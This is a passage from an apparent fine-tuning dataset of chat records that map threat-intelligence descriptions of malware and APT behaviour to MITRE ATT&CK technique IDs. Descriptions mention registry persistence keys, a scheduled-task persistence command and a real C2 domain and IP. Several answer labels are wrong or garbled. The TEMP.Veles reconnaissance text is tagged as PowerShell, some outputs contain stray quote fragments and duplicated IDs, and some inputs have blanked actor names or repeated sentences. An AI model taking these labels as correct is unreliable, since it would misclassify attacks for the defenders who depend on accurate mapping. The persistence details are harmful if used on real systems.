                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NICKEL used compromised credentials to sign into victims’ Microsoft 365 accounts through normal sign-ins with a browser and the legacy Exchange Web Services (EWS) protocol to review and collect victim emails. MSTIC has observed successful NICKEL sign-ins to compromised accounts through commercial VPN providers as well as from actor-controlled infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services', 'T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The POSHSPY backdoor is designed to download and execute additional PowerShell code and Windows binaries"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used macros to deliver malware such as QUADAGENT and OopsIE. OilRig has used batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer has the ability to add itself to the Registry Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Beacon: a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments. The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal. Used by APT17 and other Chinese cyber espionage operators"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used UPX to obscure malicious code."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie collects the hostname of the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses Rclone to exfiltrate data to cloud sharing websites (such as PCloud and MegaSync)."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can use SSL/TLS for its HTTPS Telegram Bot API-based C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd can be used to copy files to/from a remotely connected external system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy has included a program \"ExeProtector\", which monitors for the existence of GoldenSpy on the infected system and redownloads if necessary."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has created a service when it is installed on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant uses DLL search order hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used  and  to register a scheduled task to execute malware during lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The original malware scans the list of running process looking for outlook, iexplore or firefox. If found it injects the DLL into the process"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a particular campaign, Mandiant identified that the threat actor performed initial reconnaissance via a VPS provider located in the same region as the victim. Mandiant believes a misconfiguration by the threat actor meant that the VPN services running on the VPS stopped functioning after 8 hours."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "COMSysApp service is first configured to autostart and the binpath of the service is set to svchost.exe. COMSysApp service is added under the “SvcHost” key as a preliminary step to its execution in the context of svchost.exe. The malicious DLL is added as a service DLL of COMSysApp. COMSysApp service is restarted"
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key \"HKCU\\Software\\Microsoft\\Office test\\Special\\Perf\" to execute code."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer can establish persistence by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the Registry key \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has used an encoded PowerShell command by a service created by Cobalt Strike for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then modifies several registry key values to disable the IE browser’s functions such as auto-complete, auto-suggest, etc. The disabled keys are: \"Use FormSuggest\", \"FormSuggest Passwords\", \"FormSuggest PW Ask\" under the sub-key “HKCU\\Software\\Microsoft\\Internet Explorer\\Main”, and \"AutoSuggest\" under the sub-key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\AutoComplete"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has staged archives of collected data on a target's Outlook Web Access (OWA) server."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Matryoshka uses DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla established persistence by adding a Shell value under the Registry key \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 9: Call to DeleteFileW to remove the :Zone.Identifier Flag from the dropped copy."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to check whether the infected system’s OS is Debian or RHEL/CentOS to determine which cryptocurrency miner it should use."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "regsvr32.exe is a native Windows utility for registering and unregistering DLLs and ActiveX controls in the Windows registry.    The script attempts to load the malicious module using regsvr with the run function.   Procmon shows the malicious module loaded to the Avast process"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of using ICMP, TCP, and UDP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JSS Loader has been delivered by phishing emails containing malicious Microsoft Excel attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During FunnyDream, the threat actors used several tools and batch files to map victims' internal networks."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can delete files and itself after infection to avoid analysis."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks"
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate using SOCKS."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used PowerShell scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate has been disguised as a JPG extension to avoid detection as a malicious PE file."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP, HTTPS, FTP, and FTPS to communicate with the C2 server.  can also act as a webserver and listen for inbound HTTP requests through an exposed API."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch has used the WinRAR utility to compress and encrypt stolen files."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs ipconfig /all and collects the domain name."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hides any strings related to its own indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has searched for information on targeted individuals on business databases including RocketReach and CrunchBase."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data is encrypted using a series of XOR and addition operations, followed by decompression using the ZLIB library"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140, which is registered to CNIIHM. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FunnyDream FilepakMonitor component can inject into the Bka.exe process using the `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` APIs to load the DLL component."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has decoded and decrypted its stages multiple times using hard-coded keys to deliver the final payload, and has decoded its server response hex string using XOR."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The sample collects the user information including current processes, installed software, system language and time zone. The harvested credentials and user information are then sent back to the C2. Here are some highlights about system information stealing"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali has used the MSI installer to download and execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EKANS uses encoded strings in its process kill list."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 obfuscates files or information to help evade defensive measures."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raindrop used steganography to locate the start of its encoded payload within legitimate 7-Zip code."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa discovered system proxy settings and used them if available."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From the main function, the malware invokes a function named eiht_get_update. This function attempts to read a remote file (ret.txt) from andrewka6.pythonanywhere.com that contained the address of the remote command and control server. If that failed, the malware would default to using the hard-coded (albeit encrypted) IP address 167.71.237.219. In order to gather information about the infected host, it invokes a function named: ei_get_host_info …which in turn invokes various macOS APIs such as getlogin and gethostname"
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has set auto-forward rules on victim's e-mail accounts."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used NTFS alternate data streams to hide their payloads."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy creates run key Registry entries pointing to a malicious executable dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2011, while still at McAfee, he went on to reveal Comment Crew (which he calls Comment Panda) operating alongside Elderwood. It's called that because the group so often uses a technique involving internal software \"comment\" features on web pages as a tool to infiltrate target computers"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The kernel driver is a commercial product that the attackers are abusing called RawDisk by EldoS Corporation, which provides direct access to files, disks and partitions. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. With the kernel driver installed, the wiper can begin writing to protected system locations, such as the master boot record (MBR) and partition tables of storage volumes. If the wiper is configured with the \"E\" setting, the wiper will encrypt the contents of the file using a random value as a key and the RC4 algorithm. If configured with the \"R\" setting, the wiper will overwrite files with the random values that would be used as a key in \"E"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe', 'T1485 - Data Destruction', 'T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can attempt to uninstall Kaspersky Antivirus or remove the Kaspersky license; it can also add all files and folders related to the attack to the Windows Defender exclusion list."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can discover logical drive information including the drive type, free space, and volume information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to delete files off the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox proceeds to upload the data above (masquerading as a PDF file) to a dedicated-per-victim-system folder in Dropbox. For demonstration purposes, an example HTTP(s) POST request used to upload the file/data to Dropbox is included below"
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ALL tim nha Chi Ngoc Canada: The shell script containing the main malicious routines - configureDefault.def: The word file displayed during execution"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has exploited unpatched vulnerabilities on internally accessible servers including JIRA, GitLab, and Confluence for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris has used `SCHTASKS /CREATE /SC DAILY /TN StartDVL /TR \"[path to self]\" /ST 10:00` to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAT is able to wipe event logs."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner has used `osascript` to call itself via the `do shell script` command in the Launch Agent `.plist` file."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
